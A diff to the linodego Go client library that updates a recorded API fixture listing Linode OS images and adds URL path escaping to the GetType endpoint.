- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware",
- "expiry": null, "eol": "1970-01-01T05:00:00", "status": "available"}, {"id":
+ "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
+ "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities":
+ []}, {"id": "linode/debian11-kube-v1.26.3", "label": "Kubernetes 1.26.3 on Debian
+ 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated":
+ "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
+ "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05",
+ "status": "available", "capabilities": []}, {"id": "linode/opensuse15.4", "label":
+ "openSUSE Leap 15.4", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky8",
+ "label": "Rocky Linux 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky9",
+ "label": "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.2",
+ "label": "Slackware 14.2", "deprecated": false, "size": 6000, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null,
+ "eol": "1970-01-01T05:00:00", "status": "available", "capabilities": []}, {"id":
"linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size":
- 10000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
+ 11000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
"", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware",
- "expiry": null, "eol": null, "status": "available"}, {"id": "linode/ubuntu16.04lts",
- "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05",
+ "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id":
+ "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size":
+ 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
+ "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu",
+ "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities":
+ []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated":
+ false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
+ "description": "", "created_by": "linode", "type": "manual", "is_public": true,
+ "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status":
+ "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu
+ 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu18.04",
- "label": "Ubuntu 18.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.04",
+ "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu20.04",
- "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu22.10",
+ "label": "Ubuntu 22.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu22.04",
- "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu23.04",
+ "label": "Ubuntu 23.04", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos8", "label":
- "CentOS 8", "deprecated": true, "size": 2300, "created": "2018-01-02T03:04:05",
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian9",
+ "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
- "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/slackware14.1",
+ "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol":
+ "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.1",
"label": "Slackware 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "description": null, "created_by": "linode",
"type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null,
- "eol": null, "status": "available"}, {"id": "linode/ubuntu21.04", "label": "Ubuntu
- 21.04", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05",
- "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
- "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu21.10",
- "label": "Ubuntu 21.10", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05",
- "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
- "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol":
- "2018-01-02T03:04:05", "status": "available"}], "results": 48, "page": 1}'
+ "eol": null, "status": "available", "capabilities": []}], "results": 36, "page":
+ 1}'
headers:
Access-Control-Allow-Credentials:
- "true"
diff --git a/types.go b/types.go
index ee6e4c8ca..f828b0ffb 100644
--- a/types.go
+++ b/types.go
@@ -3,6 +3,7 @@ package linodego
import (
"context"
"fmt"
+ "net/url"
"github.com/go-resty/resty/v2"
)
@@ -93,7 +94,7 @@ func (c *Client) ListTypes(ctx context.Context, opts *ListOptions) ([]LinodeType
// GetType gets the type with the provided ID. This endpoint is cached by default.
func (c *Client) GetType(ctx context.Context, typeID string) (*LinodeType, error) {
- e := fmt.Sprintf("linode/types/%s", typeID)
+ e := fmt.Sprintf("linode/types/%s", url.PathEscape(typeID))
if result := c.getCachedResponse(e); result != nil {
result := result.(LinodeType)